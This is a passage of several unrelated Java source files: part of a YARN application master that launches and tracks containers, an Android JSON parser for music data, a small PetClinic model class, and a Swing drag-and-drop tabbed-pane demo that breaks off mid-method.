UserGroupInformation submitterUgi = UserGroupInformation.createRemoteUser(submitterUserName);
submitterUgi.addCredentials(credentials);
}
private NMCallbackHandler createNMCallbackHandler() {
return new NMCallbackHandler();
}
/**
* Node manager call back handler
*/
class NMCallbackHandler implements NMClientAsync.CallbackHandler {
@Override
public void onContainerStopped(ContainerId containerId) {
processFinishedContainer(containerId, ContainerExitStatus.KILLED_BY_APPMASTER);
}
@Override
public void onContainerStatusReceived(ContainerId containerId, ContainerStatus containerStatus) {
LOG.info("Container Status: id =" + containerId + ", status =" + containerStatus);
}
@Override
public void onContainerStarted(ContainerId containerId, Map<String, ByteBuffer> allServiceResponse) {
LOG.info("Successfully started container " + containerId);
}
@Override
public void onStartContainerError(ContainerId containerId, Throwable t) {
LOG.error("Failed to start container " + containerId, t);
}
@Override
public void onGetContainerStatusError(ContainerId containerId, Throwable t) {
LOG.error("Failed to query the status of container " + containerId, t);
}
@Override
public void onStopContainerError(ContainerId containerId, Throwable t) {
LOG.error("Failed to stop container " + containerId, t);
}
}
private class RMCallbackHandler implements AMRMClientAsync.CallbackHandler {
@Override
public void onContainersCompleted(List<ContainerStatus> completedContainers) {
LOG.info("Completed containers: " + completedContainers.size());
sleepForTesting();
for (ContainerStatus containerStatus : completedContainers) {
int exitStatus = containerStatus.getExitStatus();
LOG.info("ContainerID = " + containerStatus.getContainerId()
+ ", state = " + containerStatus.getState()
+ ", exitStatus = " + exitStatus);
String diagnostics = containerStatus.getDiagnostics();
if (ContainerExitStatus.SUCCESS != exitStatus) {
LOG.error(diagnostics);
} else {
LOG.info(diagnostics);
}
processFinishedContainer(containerStatus.getContainerId(), exitStatus);
}
}
/**
* For testing purposes to simulate delay of container completion callback.
*/
private void sleepForTesting() {
if (System.getenv(Constants.TEST_TASK_COMPLETION_NOTIFICATION_DELAYED) != null) {
LOG.info("Sleeping for 1 second to simulate task completion notification delay");
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
LOG.error("Interrupted while sleeping", e);
}
}
}
@Override
public void onContainersAllocated(List<Container> containers) {
LOG.info("Allocated: " + containers.size() + " containers.");
for (Container container : containers) {
LOG.info("Launching a task in container"
+ ", containerId = " + container.getId()
+ ", containerNode = " + container.getNodeId().getHost() + ":" + container.getNodeId().getPort()
+ ", resourceRequest = " + container.getResource()
+ ", priority = " + container.getPriority());
containersLauncherThreadPool.execute(new ContainerLauncher(container));
}
}
@Override
public void onShutdownRequest() {
LOG.info("onShutdownRequest called in RMCallbackHandler");
}
@Override
public void onNodesUpdated(List<NodeReport> list) {
LOG.info("onNodesUpdated called in RMCallbackHandler");
}
@Override
public float getProgress() {
int numTotalTrackedTasks = session.getTotalTrackedTasks();
return numTotalTrackedTasks > 0 ? (float) session.getNumCompletedTrackedTasks() / numTotalTrackedTasks : 0;
}
@Override
public void onError(Throwable throwable) {
LOG.error("Received error in AM to RM call", throwable);
stop();
}
}
/**
* The command to prepare inside containers.
*/
private class ContainerLauncher implements Runnable {
Container container;
ContainerLauncher(Container container) {
this.container = container;
}
/**
* Set up container's launch command and start the container.
*/
public void run() {
TonyTask task = session.getAndInitMatchingTaskByPriority(container.getPriority().getPriority());
Preconditions.checkNotNull(task, "Task was null! Nothing to schedule.");
task.setTaskInfo(container);
TaskInfo taskInfo = task.getTaskInfo();
taskInfo.setStatus(TaskStatus.READY);
// Add job type specific resources
Map<String, LocalResource> containerResources = jobTypeToContainerResources.get(task.getJobName());
task.addContainer(container);
LOG.info("Setting Container [" + container.getId() + "] for task [" + task.getId() + "]..");
Map<String, String> containerLaunchEnv = new ConcurrentHashMap<>(containerEnv);
/*
* Add additional environment vars. We always set job_name task_index & task_num and
* task_num and TaskExecutor is responsible for setting up the actual shell environment
* for different deep learning frameworks.
*/
String jobName = task.getJobName();
String taskIndex = task.getTaskIndex();
Map<String, String> dockerEnv = Utils.getContainerEnvForDocker(tonyConf, jobName);
containerLaunchEnv.putAll(dockerEnv);
containerLaunchEnv.put(Constants.JOB_NAME, jobName);
containerLaunchEnv.put(Constants.TASK_INDEX, taskIndex);
containerLaunchEnv.put(Constants.TASK_NUM, String.valueOf(session.getTotalTrackedTasks()));
if (session.isChief(jobName, taskIndex)) {
containerLaunchEnv.put(Constants.IS_CHIEF, Boolean.TRUE.toString());
}
// Specify session id in the env to distinguish between different sessions.
containerLaunchEnv.put(Constants.SESSION_ID, String.valueOf(session.sessionId));
List<CharSequence> arguments = new ArrayList<>(5);
arguments.add(session.getTaskCommand());
arguments.add("1>" + ApplicationConstants.LOG_DIR_EXPANSION_VAR + "/stdout");
arguments.add("2>" + ApplicationConstants.LOG_DIR_EXPANSION_VAR + "/stderr");
List<String> commands = ImmutableList.of(String.join(" ", arguments));
LOG.info("Constructed command: " + commands);
LOG.info("Container environment: " + containerLaunchEnv);
// Set logs to be readable by everyone.
Map<ApplicationAccessType, String> acls = new HashMap<>(2);
acls.put(ApplicationAccessType.VIEW_APP, "*");
acls.put(ApplicationAccessType.MODIFY_APP, " ");
ByteBuffer tokens = null;
if (secureMode) {
tokens = allTokens.duplicate();
}
ContainerLaunchContext ctx = ContainerLaunchContext.newInstance(containerResources, containerLaunchEnv,
commands, null, tokens, acls);
sessionContainersMap.computeIfAbsent(session.sessionId, key ->
Collections.synchronizedList(new ArrayList<>())
).add(container);
Utils.printTaskUrl(task.getTaskInfo(), LOG);
nmClientAsync.startContainerAsync(container, ctx);
taskInfo.setStatus(TaskStatus.RUNNING);
eventHandler.emitEvent(new Event(EventType.TASK_STARTED,
new TaskStarted(task.getJobName(), Integer.parseInt(task.getTaskIndex()),
container.getNodeHttpAddress().split(":")[0], container.getId().toString()),
System.currentTimeMillis()));
}
}
private void onTaskDeemedDead(TonyTask task) {
String msg = "Task with id [" + task.getId() + "] has missed"
+ " [" + maxConsecutiveHBMiss + "] heartbeats. Ending application!";
LOG.error(msg);
taskHasMissesHB = true;
session.setFinalStatus(FinalApplicationStatus.FAILED, msg);
mainThread.interrupt();
}
private void processFinishedContainer(ContainerId containerId, int exitStatus) {
TonyTask task = session.getTask(containerId);
if (task != null) {
// Ignore tasks from past sessions.
if (task.getSessionId() != session.sessionId) {
return;
}
LOG.info("Container " + containerId + " for task " + task + " finished with exitStatus " + exitStatus + ".");
session.onTaskCompleted(task.getJobName(), task.getTaskIndex(), exitStatus);
scheduler.registerDependencyCompleted(task.getJobName());
eventHandler.emitEvent(new Event(EventType.TASK_FINISHED,
new TaskFinished(task.getJobName(), Integer.parseInt(task.getTaskIndex()),
task.getTaskInfo().getStatus().toString(),
metricsRpcServer.getMetrics(task.getJobName(), Integer.parseInt(task.getTaskIndex()))),
System.currentTimeMillis()));
// Detect if an untracked task has crashed to prevent application hangups.
if (!Utils.isJobTypeTracked(task.getJobName(), tonyConf) && task.isFailed()) {
untrackedTaskFailed = true;
}
} else {
LOG.warn("No task found for container : [" + containerId + "]!");
}
}
//region testing
private void killChiefWorkerIfTesting(String taskId) {
// Simulation of chief worker been killed.
if (System.getenv(Constants.TEST_WORKER_TERMINATED) != null && taskId.equals(Constants.COORDINATOR_ID)) {
List<Container> containers = sessionContainersMap.get(session.sessionId);
for (Container container : containers) {
if (session.getTask(container.getId()).getJobName().equals(Constants.WORKER_JOB_NAME)) {
LOG.warn("Simulating worker termination for taskId: " + taskId);
nmClientAsync.stopContainerAsync(container.getId(), container.getNodeId());
}
}
}
}
//endregion
}
|
package com.example.music.utils;
import android.text.TextUtils;
import com.example.music.Music;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import java.util.ArrayList;
import java.util.List;
/**
* Created by Administrator on 2018/4/17.
* 解析JSON格式数据,传入字符串表示的JSON数据,得到List<News>类型的结果
*/
public class JSONUtils {
public static List<Music> parseJson(String data){
List<Music> result=new ArrayList<>();
if(TextUtils.isEmpty(data)){
return result;
}
try {
JSONObject object1=new JSONObject(data);
// JSONObject object2=object1.getJSONObject("music");
JSONArray array=object1.getJSONArray("music");
for (int i=0;i<array.length();i++){
JSONObject object3=array.getJSONObject(i);
// JSONObject object4=object3.getJSONObject("data");
Music musices=new Music();
musices.setMusicName(object3.getString("title"));
musices.setMusicContent(object3.getString("album"));
// musices.setImgUrl(object4.getString("cover"));
// musices.setNewsData(object4.getString("changed"));
result.add(musices);
}
} catch (JSONException e) {
e.printStackTrace();
}
return result;
}
}
|
package org.springframework.samples.petclinic.model;
import java.util.ArrayList;
import java.util.List;
public class Ratings {
private List<Rating> ratingList;
public List<Rating> getRatingList() {
if (ratingList == null)
ratingList = new ArrayList<>();
return ratingList;
}
}
|
// -*- mode:java; encoding:utf-8 -*-
// vim:set fileencoding=utf-8:
// @homepage@
package example;
import java.awt.*;
import java.awt.datatransfer.DataFlavor;
import java.awt.datatransfer.Transferable;
import java.awt.datatransfer.UnsupportedFlavorException;
import java.awt.dnd.DragSource;
import java.awt.dnd.DropTargetAdapter;
import java.awt.dnd.DropTargetDragEvent;
import java.awt.dnd.DropTargetDropEvent;
import java.awt.dnd.DropTargetEvent;
import java.awt.dnd.DropTargetListener;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.event.MouseAdapter;
import java.awt.event.MouseEvent;
import java.awt.image.BufferedImage;
import java.beans.PropertyChangeEvent;
import java.beans.PropertyChangeListener;
import java.io.IOException;
import java.util.Objects;
import java.util.Optional;
import java.util.TooManyListenersException;
import java.util.stream.IntStream;
import java.util.stream.Stream;
import javax.swing.*;
import javax.swing.plaf.LayerUI;
import javax.swing.plaf.basic.BasicButtonUI;
import javax.swing.plaf.metal.MetalTabbedPaneUI;
public final class MainPanel extends JPanel {
private final DnDTabbedPane tabbedPane = new DnDTabbedPane();
private MainPanel(TransferHandler handler, LayerUI<DnDTabbedPane> layerUI) {
super(new BorderLayout());
DnDTabbedPane sub = new DnDTabbedPane();
sub.addTab("Title aa", new JLabel("aaa"));
sub.addTab("Title bb", new JScrollPane(new JTree()));
sub.addTab("Title cc", new JScrollPane(new JTextArea("JTextArea cc")));
tabbedPane.addTab("JTree 00", new JScrollPane(new JTree()));
tabbedPane.addTab("JLabel 01", new JLabel("Test"));
tabbedPane.addTab("JTable 02", new JScrollPane(new JTable(10, 3)));
tabbedPane.addTab("JTextArea 03", new JScrollPane(new JTextArea("JTextArea 03")));
tabbedPane.addTab("JLabel 04", new JLabel("<html>11111111111111<br>13412341234123446745"));
tabbedPane.addTab("null 05", null);
tabbedPane.addTab("JTabbedPane 06", sub);
tabbedPane.addTab("Title 000000000000000007", new JScrollPane(new JTree()));
// ButtonTabComponent
IntStream.range(0, tabbedPane.getTabCount()).forEach(this::setTabComponent);
DnDTabbedPane sub2 = new DnDTabbedPane();
sub2.addTab("Title aaa", new JLabel("aaa"));
sub2.addTab("Title bbb", new JScrollPane(new JTree()));
sub2.addTab("Title ccc", new JScrollPane(new JTextArea("JTextArea ccc")));
tabbedPane.setName("JTabbedPane#main");
sub.setName("JTabbedPane#sub1");
sub2.setName("JTabbedPane#sub2");
DropTargetListener listener = new TabDropTargetAdapter();
Stream.of(tabbedPane, sub, sub2).forEach(t -> {
t.setTabLayoutPolicy(JTabbedPane.SCROLL_TAB_LAYOUT);
t.setTransferHandler(handler);
try {
t.getDropTarget().addDropTargetListener(listener);
} catch (TooManyListenersException ex) {
ex.printStackTrace();
UIManager.getLookAndFeel().provideErrorFeedback(t);
}
});
JPanel p = new JPanel(new GridLayout(2, 1));
p.add(new JLayer<>(tabbedPane, layerUI));
p.add(new JLayer<>(sub2, layerUI));
add(p);
add(makeCheckBoxPanel(), BorderLayout.NORTH);
setPreferredSize(new Dimension(320, 240));
}
private void setTabComponent(int i) {
tabbedPane.setTabComponentAt(i, new ButtonTabComponent(tabbedPane));
tabbedPane.setToolTipTextAt(i, "tooltip: " + i);
}
private Component makeCheckBoxPanel() {
JCheckBox tc = new JCheckBox("Top", true);
tc.addActionListener(e -> tabbedPane.setTabPlacement(
tc.isSelected() ? SwingConstants.TOP : SwingConstants.RIGHT));
JCheckBox sc = new JCheckBox("SCROLL_TAB_LAYOUT", true);
sc.addActionListener(e -> tabbedPane.setTabLayoutPolicy(
sc.isSelected() ? JTabbedPane.SCROLL_TAB_LAYOUT : JTabbedPane.WRAP_TAB_LAYOUT));
JPanel p = new JPanel(new FlowLayout(FlowLayout.LEFT));
p.add(tc);
p.add(sc);
return p;
}
public static void main(String[] args) {
EventQueue.invokeLater(MainPanel::createAndShowGui);
}
private static void createAndShowGui() {
try {
UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName());
} catch (ClassNotFoundException | InstantiationException | IllegalAccessException | UnsupportedLookAndFeelException ex) {
ex.printStackTrace();
Toolkit.getDefaultToolkit().beep();
}
TabTransferHandler handler = new TabTransferHandler();
JCheckBoxMenuItem check = new JCheckBoxMenuItem("Ghost image: Heavyweight");
check.addActionListener(e -> {
JCheckBoxMenuItem c = (JCheckBoxMenuItem) e.getSource();
handler.setDragImageMode(c.isSelected() ? DragImageMode.HEAVYWEIGHT : DragImageMode.LIGHTWEIGHT);
});
JMenu menu = new JMenu("Debug");
menu.add(check);
JMenuBar menuBar = new JMenuBar();
menuBar.add(menu);
LayerUI<DnDTabbedPane> layerUI = new DropLocationLayerUI();
JFrame frame = new JFrame("@title@");
frame.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);
frame.getContentPane().add(new MainPanel(handler, layerUI));
frame.setJMenuBar(menuBar);
frame.pack();
frame.setLocationRelativeTo(null);
Point pt = frame.getLocation();
pt.translate(360, 60);
JFrame sub = new JFrame("sub");
sub.getContentPane().add(new MainPanel(handler, layerUI));
sub.pack();
sub.setLocation(pt);
frame.setVisible(true);
sub.setVisible(true);
}
}
class DnDTabbedPane extends JTabbedPane {
private static final int SCROLL_SIZE = 20; // Test
private static final int BUTTON_SIZE = 30; // XXX 30 is magic number of scroll button size
private static final Rectangle RECT_BACKWARD = new Rectangle();
private static final Rectangle RECT_FORWARD = new Rectangle();
// private final DropMode dropMode = DropMode.INSERT;
protected int dragTabIndex = -1;
private transient DnDTabbedPane.DropLocation dropLocation;
public static final class DropLocation extends TransferHandler.DropLocation {
private final int index;
// public boolean canDrop = true; // index >= 0;
private DropLocation(Point p, int index) {
super(p);
this.index = index;
}
public int getIndex() {
return index;
}
// @Override public String toString() {
// return getClass().getName()
// + "[dropPoint=" + getDropPoint() + ","
// + "index=" + index + ","
// + "insert=" + isInsert + "]";
// }
}
private void clickArrowButton(String actionKey) {
JButton forwardButton = null;
JButton backwardButton = null;
for (Component c : getComponents()) {
if (c instanceof JButton) {
if (Objects.isNull(forwardButton)) {
forwardButton = (JButton) c;
} else if (Objects.isNull(backwardButton)) {
backwardButton = (JButton) c;
}
}
}
JButton button = "scrollTabsForwardAction".equals(actionKey) ? forwardButton : backwardButton;
Optional.ofNullable(button)
.filter(JButton::isEnabled)
.ifPresent(JButton::doClick);
// // ArrayIndexOutOfBoundsException
// Optional.ofNullable(getActionMap())
// .map(am -> am.get(actionKey))
// .filter(Action::isEnabled)
// .ifPresent(a -> a.actionPerformed(new ActionEvent(this, ActionEvent.ACTION_PERFORMED, null, 0, 0)));
// // ActionMap map = getActionMap();
// // if (Objects.nonNull(map)) {
// // Action action = map.get(actionKey);
// // if (Objects.nonNull(action) && action.isEnabled()) {
// // action.actionPerformed(new ActionEvent(this, ActionEvent.ACTION_PERFORMED, null, 0, 0));
// // }
// // }
}
public void autoScrollTest(Point pt) {
Rectangle r = getTabAreaBounds();
// int tabPlacement = getTabPlacement();
// if (tabPlacement == TOP || tabPlacement == BOTTOM) {
if (isTopBottomTabPlacement(getTabPlacement())) {
RECT_BACKWARD.setBounds(r.x, r.y, SCROLL_SIZE, r.height);
RECT_FORWARD.setBounds(r.x + r.width - SCROLL_SIZE - BUTTON_SIZE, r.y, SCROLL_SIZE + BUTTON_SIZE, r.height);
} else { // if (tabPlacement == LEFT || tabPlacement == RIGHT) {
RECT_BACKWARD.setBounds(r.x, r.y, r.width, SCROLL_SIZE);
RECT_FORWARD.setBounds(r.x, r.y + r.height - SCROLL_SIZE - BUTTON_SIZE, r.width, SCROLL_SIZE + BUTTON_SIZE);
}
if (RECT_BACKWARD.contains(pt)) {
clickArrowButton("scrollTabsBackwardAction");
} else if (RECT_FORWARD.contains(pt)) {
clickArrowButton("scrollTabsForwardAction");
}
}
protected DnDTabbedPane() {
super();
Handler h = new Handler();
addMouseListener(h);
addMouseMotionListener(h);
addPropertyChangeListener(h);
}
// @Override TransferHandler.DropLocation dropLocationForPoint(Point p) {
public DnDTabbedPane.DropLocation tabDropLocationForPoint(Point p) {
// assert dropMode == DropMode.INSERT : "Unexpected drop mode";
for (int i = 0; i < getTabCount(); i++) {
if (getBoundsAt(i).contains(p)) {
return new DnDTabbedPane.DropLocation(p, i);
}
}
if (getTabAreaBounds().contains(p)) {
return new DnDTabbedPane.DropLocation(p, getTabCount());
}
return new DnDTabbedPane.DropLocation(p, -1);
// switch (dropMode) {
// case INSERT:
// for (int i = 0; i < getTabCount(); i++) {
// if (getBoundsAt(i).contains(p)) {
// return new DnDTabbedPane.DropLocation(p, i);
// }
// }
// if (getTabAreaBounds().contains(p)) {
// return new DnDTabbedPane.DropLocation(p, getTabCount());
// }
// break;
// case USE_SELECTION:
// case ON:
// case ON_OR_INSERT:
// default:
// assert false : "Unexpected drop mode";
// break;
// }
// return new DnDTabbedPane.DropLocation(p, -1);
}
public final DnDTabbedPane.DropLocation getDropLocation() {
return dropLocation;
}
public Object updateTabDropLocation(DnDTabbedPane.DropLocation location, Object state, boolean forDrop) {
DnDTabbedPane.DropLocation old = dropLocation;
if (Objects.isNull(location) || !forDrop) {
dropLocation = new DnDTabbedPane.DropLocation(new Point(), -1);
} else {
dropLocation = location;
}
firePropertyChange("dropLocation", old, dropLocation);
return state;
}
public void exportTab(int dragIndex, JTabbedPane target, int targetIndex) {
System.out.println("exportTab");
final Component cmp = getComponentAt(dragIndex);
final String title = getTitleAt(dragIndex);
final Icon icon = getIconAt(dragIndex);
final String tip = getToolTipTextAt(dragIndex);
final boolean isEnabled = isEnabledAt(dragIndex);
Component tab = getTabComponentAt(dragIndex);
if (tab instanceof ButtonTabComponent) {
tab = new ButtonTabComponent(target);
}
remove(dragIndex);
target.insertTab(title, icon, cmp, tip, targetIndex);
target.setEnabledAt(targetIndex, isEnabled);
target.setTabComponentAt(targetIndex, tab);
target.setSelectedIndex(targetIndex);
if (tab instanceof JComponent) {
((JComponent) tab).scrollRectToVisible(tab.getBounds());
}
}
public void convertTab(int prev, int next) {
System.out.println("convertTab");
// if (next < 0 || prev == next) {
// return;
// }
final Component cmp = getComponentAt(prev);
final Component tab = getTabComponentAt(prev);
final String title = getTitleAt(prev);
final Icon icon = getIconAt(prev);
final String tip = getToolTipTextAt(prev);
final boolean isEnabled = isEnabledAt(prev);
int tgtIndex = prev > next ? next : next - 1;
remove(prev);
insertTab(title, icon, cmp, tip, tgtIndex);
setEnabledAt(tgtIndex, isEnabled);
// When you drag'n'drop a disabled tab, it finishes enabled and selected.
// pointed out by dlorde
if (isEnabled) {
setSelectedIndex(tgtIndex);
}
// I have a component in all tabs (JLabel with an X to close the tab) and when I move a tab the component disappear.
// pointed out by Daniel Dario Morales Salas
setTabComponentAt(tgtIndex, tab);
}
// public Rectangle getTabAreaBounds() {
// Rectangle tabbedRect = getBounds();
// Component c = getSelectedComponent();
// if (Objects.isNull(c)) {
// return tabbedRect;
// }
// int xx = tabbedRect.x;
// int yy = tabbedRect.y;
// Rectangle compRect = getSelectedComponent().getBounds();
// int tabPlacement = getTabPlacement();
// if (tabPlacement == TOP) {
// tabbedRect.height = tabbedRect.height - compRect.height;
// } else if (tabPlacement == BOTTOM) {
// tabbedRect.y = tabbedRect.y + compRect.y + compRect.height;
// tabbedRect.height = tabbedRect.height - compRect.height;
// } else if (tabPlacement == LEFT) {
// tabbedRect.width = tabbedRect.width - compRect.width;
// } else { // if (tabPlacement == RIGHT) {
// tabbedRect.x = tabbedRect.x + compRect.x + compRect.width;
// tabbedRect.width = tabbedRect.width - compRect.width;
// }
// tabbedRect.translate(-xx, -yy);
// // tabbedRect.grow(2, 2);
// return tabbedRect;
// }
public Rectangle getTabAreaBounds() {
Rectangle tabbedRect = getBounds();
int xx = tabbedRect.x;
int yy = tabbedRect.y;
Rectangle compRect = Optional.ofNullable(getSelectedComponent())
.map(Component::getBounds)
.orElseGet(Rectangle::new);
int tabPlacement = getTabPlacement();
if (isTopBottomTabPlacement(tabPlacement)) {
tabbedRect.height = tabbedRect.height - compRect.height;
if (tabPlacement == BOTTOM) {
tabbedRect.y += compRect.y + compRect.height;
}
} else {
tabbedRect.width = tabbedRect.width - compRect.width;
if (tabPlacement == RIGHT) {
tabbedRect.x += compRect.x + compRect.width;
}
}
tabbedRect.translate(-xx, -yy);
// tabbedRect.grow(2, 2);
return tabbedRect;
}
public static boolean isTopBottomTabPlacement(int tabPlacement) {
return tabPlacement == SwingConstants.TOP || tabPlacement == SwingConstants.BOTTOM;
}
private class Handler extends MouseAdapter implements PropertyChangeListener { // , BeforeDrag
private Point startPt;
private final int dragThreshold = DragSource.getDragThreshold();
// Toolkit tk = Toolkit.getDefaultToolkit();
// Integer dragThreshold = (Integer) tk.getDesktopProperty("DnD.gestureMotionThreshold");
// PropertyChangeListener
@Override public void propertyChange(PropertyChangeEvent e) {
String propertyName = e.getPropertyName();
if ("dropLocation".equals(propertyName)) {
// System.out.println("propertyChange: dropLocation");
repaint();
}
}
// MouseListener
@Override public void mousePressed(MouseEvent e) {
DnDTabbedPane src = (DnDTabbedPane) e.getComponent();
boolean isOnlyOneTab = src.getTabCount() <= 1;
if (isOnlyOneTab) {
startPt = null;
return;
}
Point tabPt = e.getPoint(); // e.getDragOrigin();
int idx = src.indexAtLocation(tabPt.x, tabPt.y);
// disabled tab, null component problem.
// pointed out by daryl. NullPointerException: i.e. addTab("Tab", null)
boolean flag = idx < 0 || !src.isEnabledAt(idx) || Objects.isNull(src.getComponentAt(idx));
startPt = flag ? null : tabPt;
}
@Override public void mouseDragged(MouseEvent e) {
Point tabPt = e.getPoint(); // e.getDragOrigin();
if (Objects.nonNull(startPt) && startPt.distance(tabPt) > dragThreshold) {
DnDTabbedPane src = (DnDTabbedPane) e.getComponent();
TransferHandler th = src.getTransferHandler();
// When a tab runs rotation occurs, a tab that is not the target is dragged.
// pointed out by Arjen
int idx = src.indexAtLocation(tabPt.x, tabPt.y);
int selIdx = src.getSelectedIndex();
boolean isRotateTabRuns = !(src.getUI() instanceof MetalTabbedPaneUI)
&& src.getTabLayoutPolicy() == JTabbedPane.WRAP_TAB_LAYOUT
&& idx != selIdx;
dragTabIndex = isRotateTabRuns ? selIdx : idx;
th.exportAsDrag(src, e, TransferHandler.MOVE);
startPt = null;
}
}
}
}
enum DragImageMode {
HEAVYWEIGHT, LIGHTWEIGHT
}
class TabDropTargetAdapter extends DropTargetAdapter {
private void clearDropLocationPaint(Component c) {
if (c instanceof DnDTabbedPane) {
DnDTabbedPane t = (DnDTabbedPane) c;
t.updateTabDropLocation(null, null, false);
t.setCursor(Cursor.getDefaultCursor());
}
}
@Override public void drop(DropTargetDropEvent dtde) {
Component c = dtde.getDropTargetContext().getComponent();
System.out.println("DropTargetListener#drop: " + c.getName());
clearDropLocationPaint(c);
}
@Override public void dragExit(DropTargetEvent dte) {
Component c = dte.getDropTargetContext().getComponent();
System.out.println("DropTargetListener#dragExit: " + c.getName());
clearDropLocationPaint(c);
}
@Override public void dragEnter(DropTargetDragEvent dtde) {
Component c = dtde.getDropTargetContext().getComponent();
System.out.println("DropTargetListener#dragEnter: " + c.getName());
}
// @Override public void dragOver(DropTargetDragEvent dtde) {
// // System.out.println("dragOver");
// }
// @Override public void dropActionChanged(DropTargetDragEvent dtde) {
// System.out.println("dropActionChanged");
// }
}
class DnDTabData {
public final DnDTabbedPane tabbedPane;
protected DnDTabData(DnDTabbedPane tabbedPane) {
this.tabbedPane = tabbedPane;
}
}
class TabTransferHandler extends TransferHandler {
protected final DataFlavor localObjectFlavor = new DataFlavor(DnDTabData.class, "DnDTabData");
protected DnDTabbedPane source;
protected final JLabel label = new JLabel() {
// Free the pixel: GHOST drag and drop, over multiple windows
// https://free-the-pixel.blogspot.com/2010/04/ghost-drag-and-drop-over-multiple.html
@Override public boolean contains(int x, int y) {
return false;
}
};
protected final JWindow dialog = new JWindow();
protected DragImageMode mode = DragImageMode.LIGHTWEIGHT;
public void setDragImageMode(DragImageMode dragMode) {
this.mode = dragMode;
setDragImage(null);
}
protected TabTransferHandler() {
super();
System.out.println("TabTransferHandler");
// localObjectFlavor = new ActivationDataFlavor(
// DnDTabbedPane.class, DataFlavor.javaJVMLocalObjectMimeType, "DnDTabbedPane");
dialog.add(label);
// dialog.setAlwaysOnTop(true); // Web Start
dialog.setOpacity(.5f);
// AWTUtilities.setWindowOpacity(dialog, .5f); // JDK 1.6.0
DragSource.getDefaultDragSource().addDragSourceMotionListener(e -> {
Point pt = e.getLocation();
pt.translate(5, 5); // offset
dialog.setLocation(pt);
});
}
@Override protected Transferable createTransferable(JComponent c) {
System.out.println("createTransferable");
if (c instanceof DnDTabbedPane) {
source = (DnDTabbedPane) c;
}
// return new DataHandler(c, localObjectFlavor.getMimeType());
return new Transferable() {
@Override public DataFlavor[] getTransferDataFlavors() {
return new DataFlavor[] {localObjectFlavor};
}
@Override public boolean isDataFlavorSupported(DataFlavor flavor) {
return Objects.equals(localObjectFlavor, flavor);
}
@Override public Object getTransferData(DataFlavor flavor) throws UnsupportedFlavorException {
if (isDataFlavorSupported(flavor)) {
return new DnDTabData(source);
} else {
throw new UnsupportedFlavorException(flavor);
}
}
};
}
@Override public boolean canImport(TransferHandler.TransferSupport support) {
// System.out.println("canImport");
if (!support.isDrop() || !support.isDataFlavorSupported(localObjectFlavor)) {
System.out.println("canImport:" + support.isDrop() + " " + support.isDataFlavorSupported(localObjectFlavor));
return false;
}
support.setDropAction(TransferHandler.MOVE);
DropLocation tdl = support.getDropLocation();
Point pt = tdl.getDropPoint();
DnDTabbedPane target = (DnDTabbedPane) support.getComponent();
target.autoScrollTest(pt);
DnDTabbedPane.DropLocation dl = target.tabDropLocationForPoint(pt);
int idx = dl.getIndex();
// if (!isWebStart()) {
// // System.out.println("local");
// try {
// source = (DnDTabbedPane) support.getTransferable().getTransferData(localObjectFlavor);
// } catch (Exception ex) {
// ex.printStackTrace();
// }
// }
boolean canDrop;
boolean isAreaContains = target.getTabAreaBounds().contains(pt) && idx >= 0;
if (target.equals(source)) {
// System.out.println("target == source");
canDrop = isAreaContains && idx != target.dragTabIndex && idx != target.dragTabIndex + 1;
} else {
// System.out.format("target!=source%n target: %s%n source: %s", target.getName(), source.getName());
canDrop = Optional.ofNullable(source).map(c -> !c.isAncestorOf(target)).orElse(false) && isAreaContains;
}
// [JDK-6700748] Cursor flickering during D&D when using CellRendererPane with validation - Java Bug System
// https://bugs.openjdk.java.net/browse/JDK-6700748
target.setCursor(canDrop ? DragSource.DefaultMoveDrop : DragSource.DefaultMoveNoDrop);
support.setShowDropLocation(canDrop);
// dl.canDrop = canDrop;
target.updateTabDropLocation(dl, null, canDrop);
return canDrop;
}
// private static boolean isWebStart() {
// try {
// ServiceManager.lookup("javax.jnlp.BasicService");
// return true;
// } catch (UnavailableServiceException ex) {
// return false;
// }
// }
private BufferedImage makeDragTabImage(DnDTabbedPane tabbedPane) {
Rectangle rect = tabbedPane.getBoundsAt(tabbedPane.dragTabIndex);
BufferedImage image = new BufferedImage(tabbedPane.getWidth(), tabbedPane.getHeight(), BufferedImage.TYPE_INT_ARGB);
Graphics g = image.createGraphics();
tabbedPane.paint(g);
g.dispose();
if (rect.x < 0) {
rect.translate(-rect.x, 0);
}
if (rect.y < 0) {
rect.translate(0, -rect.y);
}
if (rect.x + rect.width > image.getWidth()) {
rect.width = image.getWidth() - rect.x;
}
if (rect.y + rect.height > image.getHeight()) {
rect.height = image.getHeight() - rect.y;
}
return image.getSubimage(rect.x, rect.y, rect.width, rect.height);
}
@Override public int getSourceActions(JComponent c) {
System.out.println("getSourceActions");
if (c instanceof DnDTabbedPane) {
DnDTabbedPane src = (DnDTabbedPane) c;
if (src.dragTabIndex < 0) {
return TransferHandler.NONE;
}
if (mode == DragImageMode.HEAVYWEIGHT) {
label.setIcon(new ImageIcon(makeDragTabImage(src)));
dialog.pack();
dialog.setVisible(true);
} else {
setDragImage(makeDragTabImage(src));
}
return TransferHandler.MOVE;
}
return TransferHandler.NONE;
}
@Override public boolean importData(TransferHandler.TransferSupport support) {
// System.out.println("importData");
DnDTabbedPane target = (DnDTabbedPane) support.getComponent();
DnDTabbedPane.DropLocation dl = target.getDropLocation();
try {
DnDTabData data = (DnDTabData) support.getTransferable().getTransferData(localObjectFlavor);
DnDTabbedPane src = data.tabbedPane;
int index = dl.getIndex(); // boolean insert = dl.isInsert();
if (target.equals(src)) {
src.convertTab(src.dragTabIndex, index); // getTargetTabIndex(e.getLocation()));
} else {
src.exportTab(src.dragTabIndex, target, index);
}
return true;
} catch (UnsupportedFlavorException | IOException ex) {
return false;
}
}
@Override protected void exportDone(JComponent c, Transferable data, int action) {
System.out.println("exportDone");
DnDTabbedPane src = (DnDTabbedPane) c;
src.updateTabDropLocation(null, null, false);
src.repaint();
if (mode == DragImageMode.HEAVYWEIGHT) {
dialog.setVisible(false);
}
}
}
class DropLocationLayerUI extends LayerUI<DnDTabbedPane> {
private static final int LINE_SIZE = 3;
private static final Rectangle LINE_RECT = new Rectangle();
@Override public void paint(Graphics g, JComponent c) {
super.paint(g, c);
if (c instanceof JLayer) {
JLayer<?> layer = (JLayer<?>) c;
DnDTabbedPane tabbedPane = (DnDTabbedPane) layer.getView();
Optional.ofNullable(tabbedPane.getDropLocation())
